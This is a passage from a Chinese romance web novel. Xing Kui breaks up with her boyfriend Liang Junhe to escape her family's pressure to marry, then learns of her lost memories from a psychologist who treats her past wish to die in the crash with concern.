“女子无才便是德,老祖宗的话真有道理,你看看你女儿,读书读到跟爸爸顶嘴。”李正军怒目相视。 梁君赫憋不住,邢母他不会骂,李正军他半点都忍不了:“老祖宗的糟粕话也能被你奉为圣旨,老祖宗也说男子应当建功立业,也没见你建啊!” “你!” “葵葵。”邢母抢话,李正军说的话她也听不下去,只是,“哪有电视剧里那种一百分的男人,你天真了,知乐离家出走闹得沸沸扬扬,赵鹏会回归家庭,他们本来还能过日子。” 过日子?过多久?男人犯错一次就可能出第二次。 很小很小的时候,远到手机还是小灵通的时候,母亲问过邢葵,如果我和你爸离婚,你跟谁? 小邢葵当家长在逗她玩,长大后,人更理性,邢葵偶尔会想,无事发生的家庭,会这么问吗? 有没有可能那时李正军就出过轨? 她不知道答案,不能空口白牙污蔑他,唯一能肯定的是,李正军曾有过一次出轨,人的眼睛不是河蚌,强行容下沙子,会导致目盲。 邢母就盲了,高红梅也盲了,她那些女性长辈,姑奶奶、四婶……也都盲了。 她们容忍,她们从小接受的思想就是容忍,可所有人都容忍,不容忍就是错的吗? “你妈说得对。”李正军赞赏道,他是容忍思想下的得利者,“人无完人。” 邢葵平声:“既然赵鹏不完美,那就不要他再找下一个。” 李正军发怒:“那女婿也不完美,你也要甩了他再找吗?” 梁君赫震惊:“我哪里不完美了!”在梁少爷心里,他是全世界top1! 他总是不给李正军面子,李正军对他积怨,想到他是比他大一级的岳父,爹瘾发作,有意借话点他。 “你俩交往有半年了吧?这期间,你妈生日,我生日,劳动节、端午节、国亲节……女婿半点表示都没,脾气还大得要死,一点不会做人,我跟你妈可有说过一句? 大家哦,都是睁一只眼闭一只眼过日子,男人能养家就可以了,模样、性格……你什么都要求,最后什么都得不到。女婿,你说对吧?” 李正军自满地看向梁君赫,他觉得梁君赫有缺点在身,必会支持他的观点。 梁君赫没回答。 邢葵同样不吭声。 两人的手死死握在一起,手腕各一条红色同心结手绳。 邢葵反胃,梁君赫是没逢年过节要向岳父岳母送礼的概念,可他没少过她的,父母那边,她一个人送的他们也用不完。 脾气大又不会无缘无故发脾气,邢葵还以为父母没对梁君赫有意见,却原来,他们在忍,他们也觉得她在忍,且他们觉得忍是对的。 假使梁君赫未来真行为不端,他们也会像邢知乐父母那般相劝,因为男人嘛,能养家就很好了,谁家日子不是那样过啊。 赵鹏还只是能养家,梁君赫远比他富有,更是能让家庭长脸的大明星。 短短一霎那,邢葵见到一个声嘶力竭不准许她分手的恐怖未来。 “我们分手吧。”是梁君赫的声音。 他的手紧紧地握着她的手,力道大到让两只手一齐抖,他智商高,也见到了邢葵见到的未来。 恋爱仅仅暂时止住催婚,邢葵还要想别的方法,三年期限到后,她有可能要对父母找借口和梁君赫分手。 她现在顺心,皆因父母特别满意梁君赫能为他等,然而,通过邢知乐的事、长辈的态度可以预见,邢葵父母如今有多满意梁君赫,未来就会有多不赞成邢葵分手。 甚至会远胜于今地逼迫她结婚,在长辈看来,梁君赫条件非常不错,已经谈了三年,哪能放过。 届时,无论邢葵借口说梁君赫脾气差还是出轨,在长辈嘴里,男人结了婚就会长大,要是结婚后还犯错,那就生了孩子就会长大。 不能再交往下去了,邢葵会陷进更加窒息的困境,得及时止损。 梁君赫,也不是解决催婚问题的答案。 帅气的男朋友会保护他的葵葵。 梁君赫开口,主动提出分手,做邢葵父母眼中的恶人,他说完,手撑住额头,继而后仰上身,指缝中露出的眼睛睁着,清澈得让做过亏心事的人胆怯,傲慢劲儿全无遮挡地外露。 李正军懵圈赔笑:“怎么了,女婿,是怪我说你吗?我是没把你当外人,瞧我,这破嘴,我自打几下。” 邢母拍了下李正军:“小赫,别冲动,我们有做得不好的,我们能改。” 真能改邢葵怎会陷在催婚泥沼里。 “不关伯母的事。”梁君赫冷睨了眼李正军,坦白说,他之前还没火力全开,“可能我之前说得太婉转,你蠢如猪的脑子听不懂,本少爷觉得你恶心到该住猪圈,瞧你肥的样子,跟伯母站一块也不害臊。” “你!” “我受不了你这头猪做我岳父,自己不 上进还按你的标准定男人好不好,我跟你同性都嫌丢人,葵葵,我们分手吧,分手原因让你爸反思!” 梁君赫牵着她的手,拉她一同站起来,最后极具鄙夷地用余光瞄了李正军一眼,戴上挡脸的墨镜。 “葵葵,走,我们去庆祝分手第一天。” 他故意拽了下,演成是他强行带走邢葵,邢葵配合他,转头:“妈,辉德附近万盛酒店你还记得不?天晚了,我待会儿给你订个房间,你去住哈。” 穿过走廊、坐扶梯、拐角、再坐扶梯……一路走到辉德住院部外,用于休息的凉亭中,邢葵踏进去,蹲下来。 住院楼一层一层,病房稀稀疏疏亮着灯,梁君赫陪在她身边,她拿出手机,给邢母订酒店:“我得再次出发去找答案,我知道,你不想分手,是为了我,所以谢谢,我们明天再分手吧,今晚你还能向周镜他们打卡。” 她偏过头,梁君赫也蹲下了身,双臂拥住她,甜蜜的热息落到她耳边:“葵葵宠我。” 邢葵鼻尖发酸:“我需得调节下心情,最近我很讨厌赵鹏。” 梁君赫脸贴贴她的脸颊,传递热度:“我让他养不了家。” “不够,还有别的事能转移注意力吗?” “我们今晚亲一整晚。” 邢葵牵起嘴角,轻拍打一下梁君赫后背,他身上散着桃花香,是喷了他上个月找调香师特配的香水,他爱黏她,让她缠上他的气味,遇到其他兄弟能宣示他的正宫地位。 “也好。”邢葵道,“似乎也没其他事,那就亲一整晚吧,今晚,再宠幸下我的正宫。” 梁君赫扬起笑,如追太阳的人抓住太阳,摘星星的人躺进亮闪闪的银河:“好!今夜再——等等,葵葵,未来你就不宠幸了吗?我这么好看,不睡很浪费的!” 月辉洒在凉亭上方紫藤,蔓延的紫藤花在夜风中摇曳,彼此缠绕,有永恒爱恋的寓意,住院部一楼床边,紫藤和人组成的月色映在观看的江玉鸣眼帘。 他从监控室方向走来,静悄悄站在一面住院指南海报后,成为亭子里蹲地相拥的邢葵和梁君赫的背景。 美艳的眸子里光芒深深,江玉鸣转身隐入黑暗。一楼内墙边上放了一台拒绝娃娃自助机,江玉鸣瞄了眼,走过去,随意踢了一脚。 一名查完房的同事走过:“江医生?” 江玉鸣瞥向他一下,收回视线:“生气,单身用不了。” 同事懵了懵,露笑:“江医生要想结束单身多的是人排队吧。” 江玉鸣皱了下高挺鼻尖:“可不嘛,谁让我喜欢的那位是别人的女朋友。” 同事:“???” 丝毫不在意一句话带给旁人的惊憾,江玉鸣手插到白大褂口袋,伸直优越的脖颈,狭长的眼眸弯下:“幸好我有耐心即将等来她恢复单身。” 同事偏头松了一口气,还好不是要去当小三。 窗户外面青蛙“呱呱”两下,蛙鸣声穿过窗帘,最后一夜,室内漂浮着桃花甜香,地板上,一只女士鞋踩在一只男士鞋上,丝绸质地的衬衫外套落在旁边。 床单凌乱地起褶,邢葵压在梁君赫身躯,含怒咬他的颈窝,她会找到答案的,一定会。 手机某些软件定然长了会偷听的耳朵,回她在京江租房的路上,向她推送什么两性关系和谐教程。 #包容是一种女性智慧。 #一个家庭最珍贵的,就是懂得包容的妻子。 滚! 邢葵恼火地点进评论区,就像她此刻掐梁君赫纽扣一样用力,她要给全部支持的言论点踩,就像她此刻想将梁君赫压扁。 可太多了,太多了。 热评第一:【竖大拇指emoji,中肯,现在的小孩就是被毒鸡汤害惨了。】 中毒的到底是谁啊? 男的、女的,让人想切开他们脑袋看看脑回路构造的荒诞话,太多了,太多了。 一滴泪落到梁君赫颈窝,他捧高她的脸,来吻她,粉色唇肉桃花般柔软,甜蜜吞掉她的怒。 “动气伤身,我会每天向四方天神祝祷,葵葵终有一日能飞出去,今天葵葵哪里有气,都由我来吃掉。” 他的鼻尖抵上她的鼻尖,蹭了蹭,“来,给梁少爷笑一个。” 邢葵用额头撞他一下:“笑不出,这里还有气。”她指向她的心口。 “好办,我来吃。”梁君赫翻身,将她压到身下,瘦长的腿跪到她的腿间,呼吸降落她的心口,仰头注视她的脸,尖尖的小虎牙露出来,咬上她的皮肤。 他啮咬着,伸舌头轻卷,仿佛心口真有一团气,做出吞咽动作。 “这里,有没有气?”滚烫的指腹摁到她的肩。 “有!” “好,我来吃。”俊俏的脸贴到肩上,邢葵盯着他,梁君赫内心是很要脸的富家少爷,说得大胆,行为大胆,脸颊耳廓却会不受控地发红。 他是能彻底理解她的人,也正因为他完全理解,他才能主动提出分手。 也伤心,但感情都在今晚的亲吻里。 等明天太阳升起,按梁君赫原话,他将化身进击的前男友,积极投入全新战斗。 衣裳窸窸窣窣落地,他亲她,她亲他,不同温度的手指在彼此身体纠缠,缠臂,缠腰,最终,缠到手腕,勾开彼此的同心结手绳。 清晨,窗帘边缘缝隙流泻一抹晨曦的淡金,静谧的室内,梁君赫懒散翻了个身,伸手揽——人呢?他迷糊糊摸了几遍身侧,睁开眼,水润的眸子上抬,视线从床铺移到床边,再上移。 床边,邢葵身着浅黄睡衣,环膝坐在一张黑木椅上,两眼一眨不眨地盯着他。 “葵葵,吓我一跳。”梁君赫伸出手臂,要将她拽到怀里,邢葵却将她的手伸到腰后。 从她的腰和椅背间隔,抽出两沓文件,放到床上。 “我感觉光睡你还不够转移注意力。” 她的两手各落到左右两种文件。 “左边是江玉鸣给我的,他请侦探查的关于厉乘川的调查报告;右边是我私下另聘侦探查的报告。真奇怪,两份报告部分内容居然相矛盾。” 梁君赫惊。 “左边这沓,有的地方,简直像故意引起我对厉乘川的怀疑,又帮助我消除怀疑。本来我不想深究的,谁让我急需调节心情,梁君赫,作为分手礼物,你能告诉我,为什么会这样吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 邢葵坐在椅子上,脚踩在椅面,瞳仁像黑色的玻璃球,在太阳底下晒过,目光灼灼。 “或者我问得再清楚些,你们兄弟瞒了我什么?” 梁君赫顿了下,稍微坐起身,被子从他肩头滑落,胸膛肌肉线条流畅,覆着一些昨夜邢葵掐出来的痕迹。 他拉开笑容来牵她的手:“误会吧葵葵,我们怎么会瞒你,我最真诚了。” 没跟他嬉皮笑脸,邢葵抬手捏住梁君赫手腕,大拇指紧扣住他的脉,接着踩上床单,膝盖抵到他紧实的腰身。 她靠近,速度一点也不慢,呼吸一瞬间洒到梁君赫唇齿。 梁君赫瞳孔不自觉放大,她这是要强他吗?太没尊严了!他绝不能接受! 也、也行吧,被子上,梁君赫的另一边手指滑到侧面,蜷起来,皮肤蔓延难为情又期待的粉。 “告诉我真相,光睡你能让我忘掉昨天,但不足以让我停止喜欢你,我现在都想把江玉鸣、周镜、许野都睡一遍。” 好吧,原来靠近是要放狠话。 邢葵跪到梁君赫身上,她迫切地需要另一件事让她转移注意力,再次出发。 然而,梁君赫却宁肯她去睡别人,他眼里在几秒内湿漉漉的,闪烁委屈,流转纠结:“先睡许野。” “什么?” “江哥周哥阴险,你先睡他们就去不了下一个了。”梁君赫闷声分析,“江哥还有希望,周哥阴得狠,最后一个再去睡他,他有招也没处使。” 邢葵面无表情,倏地笑了声:“看来真相非同一般。” 委托江玉鸣请侦探的同时,她谨慎地另聘了一位 侦探,发觉两位侦探查出的结果有出入,她想过,侦探不一定查得都对嘛。 兴许就是查错了,可江玉鸣又请他的侦探查了第二遍,邢葵也请她的侦探查了第二遍,两人交出的报告仍然不同。 准确地说,是江玉鸣的两次报告不同,和她的两次报告都不同,她的两次报告相同。 江玉鸣给她的报告,前一份让她对厉乘川怀疑不止,后一份让她对厉乘川怀疑消除。 邢葵直觉蹊跷,如果说,他们兄弟只是想借她对厉乘川怀疑,减少她和梁君赫的相处时间,为什么不让她一直怀疑下去。 只不过,她了解他们,不会害她,如此处心积虑,厉乘川应当真是好人,她也就顺了他们想法,停下了对厉乘川的怀疑。 要不是和梁君赫分手,邢葵都无意搞清楚,横竖不会害她,问了自找麻烦。 没想到,今时今刻邢葵问出,才发现他们隐瞒的事还不小。 大到睁眼闭眼都在排除异己的梁君赫给她出起主意,如何顺利地将江玉鸣、周镜、许野都睡一遍。 “我需要知道。” 邢葵更加逼近梁君赫,他饱满的后脑勺用力抵着床头板,都想将实木抵陷下去,每一个肢体动作都在诉说他拒绝回答。 “如今我正急需一件事转移注意,你们这会儿坦白,还能逃脱被我问责风险。 再者,我一无所知时你们可以瞒,我都问了你们不说,就不讨喜了。” 梁君赫向后挪,眼神闪烁,她都问了……得知失忆会让她受伤,她问了他们还瞒,未来假如她自己发现她的失忆,会不会更受伤…… 一簇冰凉忽地贴到梁君赫胸口。 他低眼皮,一把厨房剪,两片刀身寒森森张开,冷酷贴在他的纽扣。 梁君赫:“!”葵葵哪来的剪刀!!! “好话说尽,你要选择不讨喜,你讨喜的纽扣也别要了吧。” 邢葵冷脸,在剪刀指圈的手指添力,刹那间,梁君赫瞳仁直缩成细针,锋利的刀刃犹如卷起周边空气,这把剪刀带来的气息,比冬季早晨,从暖和被窝里探出头的那一霎还要冷。 “你失忆了!” 一声大叫,邢葵怔然,脑子仿佛回到了一年多前车撞上来的瞬间,一片空白。 梁君赫夺走剪刀,用了莫大力气直接将它拆成两半,扔到床边垃圾桶,气喘吁吁,检查他硬成石子的纽扣。 完好!完好!他舒气,看向还趴在他身上的邢葵,她的神情,就像听到隔壁家二大爷生了只会飞的企鹅一样茫然。 正如邢葵所说,天时地利人和,眼下是向她坦白的好时机。 “你失忆了,忘掉了厉哥,失忆前的你也在解决催婚,厉哥是你当时选中的对象。” 今天是工作日,小区外的公交站台没年轻人,老人疏疏落落地候在四周等车,邢葵慢步走过去,坐到长椅空位。 上身一件奶酪黄的挂脖吊带,露出一半后背,引来老年人透着嫌弃的关注。 “欸?那小姑娘,是不是上过电视?”另一张长椅,一位老人拍了另一位老人。 邢葵失神地望着地面,掏牛仔短裤口袋,取出和外套一起忘记的口罩,戴上。 打开手机,昨天她发了邢知乐带给她的奇妙历险,得看反馈。 点赞评论各方面数据都不错,评论区热闹得像红红火火的早市,有的评论还叠了高楼。 【姐妹们,我有种不祥的预感,天天虽然不常提到亲戚,但每次提到似乎都伴随她的感情变化,她跟梁少爷不会分手了吧?】 【妈呀!细思极恐,她亲戚结婚,她和律师男在一起,假期回老家,和校霸男分手……】 【我鸡皮疙瘩起来了!我周边亲戚也有奇葩,天天生活在怎样的世界啊……】 她也想知道她身处在怎样的世界里。 邢葵的生活复杂也简单。 亲戚多且愚昧,所以才有可怕到令人毛骨悚然的催婚;催婚可怕到令人毛骨悚然,所以才会导致车祸。 又因为邢母并非绝对恶母,车祸后邢葵才会想方设法解决催婚,所以才有她和江玉鸣等兄弟的交集。 病症在于催婚,症结在于家人,解决不了家人只能解决催婚。 邢葵身处这样的困境,目标坚定,也只会因为相关人事物,和男人交往与分手。 这是符合逻辑的呀,动机、目标、实际行动…… 她个人,从未完全因为其他事,对男人的交往要求点过头,她从未背叛她的目标。 可梁君赫却说,她早就找到过解决催婚的对象,虽然以当下目光来看,厉乘川也是错误解,可过去的她又不清楚这一点。 看邢母全然不识厉乘川就知,她没带厉乘川见过家人。 邢葵手握成拳头,抬到脑袋边,捶第一下、第二下,既然她看中过厉乘川,她忘掉她自己也不该忘掉他啊。 外伤吗? “葵葵。” 邢葵捶着头,昂起脸,身后白云悠悠,辉德医院住院楼高达二十层,她正坐在楼外的长椅上。 江玉鸣站在她面前,风吹着他的白大褂,洁白衣袂向她的方向飘动。 他好看的眉稍稍揪起,在疑惑她为何在这里失魂落魄。 邢葵张口:“我听闻,外伤和心理创伤都有可能导致失忆,我的失忆是什么导致的?” 江玉鸣眉弓微抬,表情顷刻凝固。 住院部,一盆天堂鸟盆栽后,江玉鸣拿着手机,一只拳头砸上墙:“分手你就圆润地滚,就连许野都懂不能告诉她失忆,谁让你多话!” 梁君赫还在邢葵家床上,他心里忐忑,邢葵不让他跟着,他哪里都不想去。 “哥,你怎么知道我们分手?哦,医院监控,你好变态!” 江玉鸣不同他虚与委蛇,他一贯只背地阴暗,当面都是从容轻慢,还是第一次向兄弟们发火:“别跟我废话,我遇到她时,她在一个人捶她的头。” 梁君赫坐直,安静片刻:“她一定要讨真相,她说现下是向她坦白的最好时候,我也觉得,她已经在找真相,我们先说,总比她自己找出来伤害低。” 江玉鸣不笨,大概猜到发生什么,在墙上的拳头落下:“你过来吧,将其他人也带过来,邢葵要看心理医生,万一看出火气,好兄弟,我们得有难同当。” “她不是陪爸妈去探病邢知乐了吗?” “去了,不然你以为我如何离开她打电话给你?”江玉鸣关闭手机,辉德最好的心理医生在别的城市,正在将她调过来,预计下午到达。 中午邢葵父母要向邢老三一家赔礼,走一下和解流程。病房床头柜上放了豪华果篮,地面放了一箱纯牛奶一箱酸奶。 二人连连道歉,高红梅和邢耀祖终究会“原谅”,但这时还在气头上,骂了他们好几句。 邢葵只护母亲不护李正军,李正军被梁君赫训得病恹恹的,今天又被训,脸色差得像掉进茅坑。 临走时邢母道:“你们接下来几天的餐我订好了,是附近酒店的,葵葵以前吃过,特别厚道,隔了这么久一点没涨价。” 邢葵微分唇瓣,联想到厉乘川,没说什么,送别两位后又回到病房。 “我们来算一下账。” “算账?算什么账?”高红梅不敢相信她的耳朵,声音就如手机音量开到最大那样洪亮。 邢葵点了几下手机:“具体怎么算的,我复制发给知乐了,总之,知乐手术费用、在我家的住宿费、前前后后的交通费、餐饮费等,给婶婶叔叔抹个零,总共一万二。” 高红梅吼道:“你疯了!我没了孙子,你跟我要钱!” 邢葵又点了几下手机屏幕:“一码归一码,知乐亲口说要还我。” 手机里传来邢知乐嗓音,高红梅七窍生烟:“知乐跟你说话你居然录音!” “非故意,职业习惯。”兰姐交代过邢葵,做网红要防背刺。 “妈。”病床上,邢知乐听不下去,“我们本来 就该给钱。” 高红梅眼神闪了闪:“那也不能这么多吧?知乐不是用故事跟你换了钱?” “算进去了,她的捉女干故事只值一百。” “那也不该有这么多!引产哪那么贵!你欺负婶婶没文化?我再没文化也懂医保能报销好多!”高红梅大喊。 “哦,知乐没医保。”邢葵淡淡丢下一句。 “她怎么会没医保她——” “断缴了妈。”病床上的邢知乐嫌丢人,声音弱下去,“我怀孕后就没再工作,赵鹏拿走了我的钱,每个月发我的钱不够交保险。” “那个混账东西!” 离开病房很远,邢葵还能听到高红梅化作高亢声量的怒火,这股怒火,让她的心里爽快不少。 邢知乐的事搞定,邢葵拍拍脸颊,她还得振奋精神处理另一个棘手问题。 下午四点,心理医生诊室外,邢葵见到五个兄弟,不得不说,他们五个人一排站开养眼值能打到无穷分。 最左边的厉乘川视线与她对上,他漆黑的本该如沉静深泉的眼里,罕见地闪过几分无措,薄唇也抿了一下。 和兄弟团聚餐那日,邢葵得知过万盛背后主人是厉乘川,想来当初低廉的套餐价是为她特别定制。 今日邢母再订套餐依旧便宜,必定是酒店经理认出邢母,又为她定制了一回。 厉乘川应该,不只是她曾经选中的对象,还喜欢她吧? 否则他何苦从病友做到邻居做到房东……邢葵此刻不想考虑这件事,走向心理咨询室:“我就是想弄明白我的失忆是不是外伤,不会怪你们,不用紧张,我进去了。” 门关上,五个男人才肯坐下,江玉鸣和厉乘川同坐,周镜和许野同坐,梁君赫瞧了眼四个人两个方向,走向周许。 “我来了,进击的前男友们!都不喝水吗?” “坐,要喝杯水吗?”刘教授四十来岁的相貌,坐在办公桌后,温和地冲邢葵笑,透着一种儿时妈妈的亲切感。 邢葵拉开椅子,让外面五个人别紧张,但她坐下来直紧张得抓膝盖:“您好。” 刘教授看着她,嗓音温柔:“能跟我讲讲,来找我的原因吗?” “是要我讲我的经历吗?” 刘教授点头:“可以。” “好,长话短说,一年多前我出了场车祸……” 一个小时后,心理咨询室的门打开,五个男人齐齐投去视线,邢葵被射灯一般的视线定住,神情严肃,众人都屏住呼吸,她蓦地弯眼,抬手摸摸她的头。 “感觉还可以哎,刘教授很慈蔼,可能就是外伤吧,该死的车祸。” 她往外走,“我还得理一下思路,别跟着我。” 许野憋了很久的气,要舒出来,往左边看,周镜的脸就跟邢葵刚才开门时一样严肃,往右边看,梁君赫也拧着眉,往前方看,厉乘川江玉鸣都盯着门口的刘教授。 他把气憋回,和大家一同望过去。 刘教授眉间微皱,张嘴第一句话是:“她很痛苦。” 第102章 话音落下,空气仿佛长了嘴,不断嗡鸣,五个男人神色各异。 仅凭一次交谈,不可武断失忆原因,刘教授只是说她察觉到的。 她说,邢葵很痛苦。 “进来吧。” 咨询室,刘教授坐回办公桌后,厉乘川和梁君赫同时按住桌前邢葵坐过的椅子,周镜看了眼,和许野站到左边书架,江玉鸣抱臂靠到桌右墙边。 真就五位男模,刘教授都看呆了,那姑娘真了不起,也辛苦了。 梁君赫没耐心,说出大家的想法:“她怎么回事?” 刘教授沉思一息:“我和那孩子聊了很多,当我问她,她在日常生活中可曾发觉过她的记忆问题时,她回……” 空的椅子上好似出现邢葵坐着的样子,一个小时前的空间与此时的空间重叠。 “有呀。”邢葵笑着道,“车祸后,一些工作上的同事,包括我的工作内容,我记不太清了,不过当初我以为是记忆力衰退。” 刘教授温柔:“你以为的可能不错呢,外部撞击、衰老,不少因素都会导致记忆力衰退,我现在就想不太起来十几年前的事。” 邢葵点头:“是吧!” “之后我又问她,她平时有没有对你起过疑。” “厉乘川是挺怪的。”邢葵皱鼻,“但都能解释,一次两次巧合不足以让我怀疑他,毕竟他瞧上去一表人才,和我前任又是好友。” “我又问她,发现你们对她有所隐瞒后,为何她没第一时间揭穿。” “没必要呀,了解到不是在害我行了,我还怕麻烦,人啊,有时候得糊涂些。” 梁君赫眉峰蹙起,这话,在梁家事件中,他曾偷听到邢葵对梁昭然讲过。 发现过记忆异常、厉乘川异常,却当成记忆力衰退、找理由解释,又支持人偶尔得糊涂…… “是自我防御机制,邢葵或许本能不想知道她失忆,因此潜意识回避问题。” 直到厉乘川和她的巧合太多,她的大脑深处再也忽视不了。 自我防御机制是一种自我保护法,通常在无意识的状况下运行。 以失忆为界,将邢葵分成“邢葵1.0”和“邢葵2.0”,那么,1.0丢失了某些记忆,2.0虽然不知情,但潜意识不要知道。 梁君赫天才变笨瓜,也算是自我防御机制作用。和梁君赫经历相似,曾经的梁君赫天才变笨瓜,明明本能想远离邢葵,但上锈的大脑让他向梁昭然泄露了邢葵存在,致使邢葵来到他身边。 而邢葵自我防御了,没意识到她在自我防御及防御原因,仍是得知了她的失忆。 椅子后面,厉乘川眸子深邃,向刘教授发问:“她是喜欢失忆后的日子吗?” 刘教授闻言,扫了高个长腿的五人一圈,轻轻地叹了口气。 “你们平常和她相处,可曾听她说过,穿越、魔法,类似的词?” 几人压下眉头,和周镜共同站左边书架前的许野率先道:“交往的时候她夸过我像西幻文龙骑士算吗?” “可恶!为什么你是‘龙’骑士,我就只是贵族学院‘小’王子?”梁君赫气愤发言。 周镜推了下眼镜,他怎没被这样夸过:“葵葵有一日曾同我感叹,要是这个世界有时光机就好了。” “要是我能穿越到我妈小时候就好了。”邢葵仰起头,无可奈何地望望天花板,“我能接受没有智能手机的世界呀,老天。” 江玉鸣鞋后跟抵到墙边,搭在上臂的长指收紧,邢葵也跟他说过,她不会魔法。 “无论失忆前还是失忆后的世界,她都不喜欢。”刘教授回答,露出一丝不忍。 她甚至停顿了好些秒。 “根据我和那孩子的谈话,我猜想,她头受伤的瞬间,她应该想死在那场车祸里,或者,在别的她能喘息的世界重生。” 众人都愣了一下,接着,许野发出抽气声,他的眉心像打开一寸的折扇,手臂绷直成操场上的栏杆。 所有人寒毛直竖。 昔日,江玉鸣说出“兄弟四个一人一季”的惊骇言论后,邢葵在洗手池前回忆,联想到古代女帝世界。 跟随许野身后进入男生宿舍楼时,邢葵闻到冲天恶气,联想到末日丧尸世界。 …… 乃至邢葵在医院醒来的第一天,初遇厉乘川和江玉鸣,觉得他们分别来自霸总文和浪子文。 冷汗蜈蚣般顺脊柱爬下,一些话,兄弟们知道,更多话邢葵只藏在心里,他们无法洞悉。 若不是邢葵今天跟刘教授交流,类如“穿越”、“世界”这些词用得较为密集,刘教授都未必觉察得到。 邢葵向往她能在车祸里死掉,要是还能穿到别的世界更好。 能穿回邢母儿时最佳,不能,哪怕是丧尸横行的末日,哪怕做刀尖舔血的浪子游侠,也比她继续活在现在的世界强。 “那孩子,的确存在一定可能性,是主动丢掉 的记忆。” 刘教授叹息,“车撞上来那一刹那,恐怕她的痛苦超过了她能承受的峰值,毕竟是她的母亲催婚造成她出车祸。” “等等?她妈害她出的车祸?”梁君赫弯身,覆在椅背的手硬成被沸水烫过的鸡爪,俊脸惊诧骇然。 许野、江玉鸣都面色骤变,身体不由离开他们倚的书架和墙,厉乘川蹙了下他锋利的眉,质询的视线落向左方周镜。 “你清楚吧?出院后你陪邢葵进的交警大队。” 周镜神情平稳,目光淡淡扫过众位好友,在他们期待答案的眼神中,沉稳道:“这是我和她的秘密。” 刘教授瞧他们四人围攻光明顶的架势,捂住嘴,邢葵也没跟她讲不能说啊,千万别在她咨询室打起来。 “各位,我的意思是,所以邢葵极有可能,当时为了缓解痛苦,抛掉了脑子里些许和催婚有关的事。” 许野遗憾:“怎么不干脆将催婚都忘掉。” 梁君赫回:“全忘掉没用啊,她活下来就还会被催婚。” 两人对话着,没注意厉乘川在听到刘教授说的话时,手指蜷了蜷,若有所思。 周镜余光看着厉乘川的小动作,不对劲,即使刘教授说得已经很合理了,仍然不对劲。邢葵找厉乘川假结婚就是要缓解痛苦,关于催婚她有太多能忘,怎能偏偏忘掉她的解决方法。 看上去,厉乘川似乎想到什么。 刘教授最后道:“你们平日里最好多注意些她,别让她一个人待着,以免她想不开。” “不会。”江玉鸣单手插进白大褂口袋,弯唇一笑,状态松弛,“据我所知,心理医生该对谈话内容严格保密,刘教授提都没提过这点,想来,邢葵跟你说过,能跟我们讲吧?” “哦对了,刘医生。”从椅子上站起来的邢葵耸耸肩,“外面那几个问您的话,麻烦您直接告诉他们吧,省得我再说一遍甚至五遍。” “她在车祸中兴许当真萌生过死念,但她真想去死,就不会从昏迷中苏醒。”江玉鸣道。 “不错,葵葵痛不欲生的同时,她的坚韧也在压制痛苦,死亡是逃避,她要活着解决问题。”周镜道。 “我想,她让你不用对我们隐瞒,是想节省时间,她要再次出发了。”梁君赫道。 刘教授懵住,随即笑笑:“也是,那孩子是更像这样的人,那按照她走时说的吧,先别去打扰她,让她理理思路。” 几分钟后,楼梯间,厉乘川和周镜对峙,一黑一灰,吞掉狭窄空间彩色。 “从你见到邢葵第一日起,你就欺瞒于我,你曾是我最好的兄弟。”厉乘川气场冷戾。 周镜稳如泰山:“抱歉,我答应过葵葵,不能向其他人透露车祸真相。” 厉乘川薄唇向上扯了下:“你称呼我‘其他人’?” “对葵葵而言你确实可有可无。”周镜从容地往楼梯边踱了一步,不着痕迹地引导话题,“都能将你从脑海删掉。” 但厉乘川也不是吃素的,黑漆漆的瞳仁盯着老友,他英俊的面庞浮上讥讽:“你想知道为什么邢葵会忘了我吧?我是有些想法,不过,这也是我跟她的秘密。” 楼梯间的窗户很窄,邢葵望了眼,迈向下一级台阶,不想坐电梯,在一步步中梳理着思绪。 心理医生没向她分析太多,她独自分析,刘教授会对她诱导性发言,故而只要回想她的提问…… 是吗?她是自己不愿意得知失忆吗? 哎哟那算了,别深究了,她自己肯定不会害自己。 回去吃顿好的、睡顿好觉,明天她还是寻找解决催婚办法的邢葵。 二楼,打开的楼梯间门外,几名装修工装扮的人搬着一个冰箱那样大的柜子,邢葵瞥见,加快步伐,走了出去。 “那是抓娃娃机吗?” 工人旁边跟着一名保安,一见到她眼睛瞪直,拜托,整个辉德的保安哪个能不认识邢葵? 他恭恭敬敬:“是的是的,江医生说小孩子打针容易哭闹,吩咐在二楼儿科放台抓娃娃机,凭挂号单能免费玩。” 机器里放了满满的毛绒玩具,邢葵一眼看中里头的葵花玩偶,外圈黄色花瓣,内圈绣嘴巴上翘的笑脸。 “我能玩吗?”她小心地问。 “当然能!”保安热情招呼,“来来来,您随意。” 二楼儿科,邢葵顶着七八位小孩子巴望的视线压力,拽了下脸上口罩,确认不会突然掉落曝光她的身份,昂首按下机器启动键。 小孩子打针易哭,她此刻也想哭呢,让她玩一下。 一名小孩儿拽拽她的裤子,邢葵低眼看:“别急,喜欢哪个,点,等姐姐抓出来送你们。” 转头瞅见犹如在向她招手的葵花玩偶,“小葵花是我的啊,不许跟我抢那个。” “我要这个穿裙子的兔子!” “我要这个绿恐龙!” 邢葵伸展下肩背,兔子恐龙是吧,看她来大展下身手,抓手落到一只恐龙上方,她眼疾手快按键。 抓空。 第二轮,抓空。 第十轮,抓起来,又掉落。 “姐姐,你好菜。” “才不是,姐姐是在找手感,厚积薄发懂不懂?”邢葵对小孩子们说了一句,看向抓娃娃机,玻璃窗倒映她的形象。 露背奶酪黄挂脖吊带,加牛仔短裤。 她今早出门失魂落魄,忘了套一件外套,她怎么能一个都抓不中呢? 抓了这么久……找了这么久答案,周镜不是,他超级适合结婚,邢葵父母当晚就想把民政局搬到他俩面前。 许野不是,男大于女十岁结婚都无人置喙,女大于男八九岁像犯了天条。 梁君赫不是,他既没有和她过大的年龄差,也拥有不能立即结婚的限制条件,邢葵本以为真就是他了,结果,他带来“喘息时间”,也带来“时间成本”。 和他交往时间过长,家长将不准许他们分手。 他就像邢葵抓起的娃娃,她苦心钻研角度,连拍按键的力道都重视,抓起后看着能抓中了,却没到出口就坠落。 邢葵再一次按下启动键,手悬在红色的按钮上空,无头苍蝇般颤。 没限制条件的不是答案,有限制条件的也不是答案,周镜、许野、梁君赫,江玉鸣、厉乘川,全部pass。 到底答案在哪里?她都被催婚逼到失忆,她完整的人生都失去了一角,为什么,为什么,她抓不到答案! “葵葵想抓什么?”江玉鸣勾人的嗓音在耳边响起,邢葵侧过头,颅顶只够得到他的下颌,他让人见之不忘的眼眸抬起,随意地瞄了下抓娃娃机。 抓手摇摇晃晃,邢葵回答:“那俩小孩儿想要兔子和恐龙。” 江玉鸣微挑眉梢,骨节好看的手伸到她的手和按键之间,好像很随便地一拍。 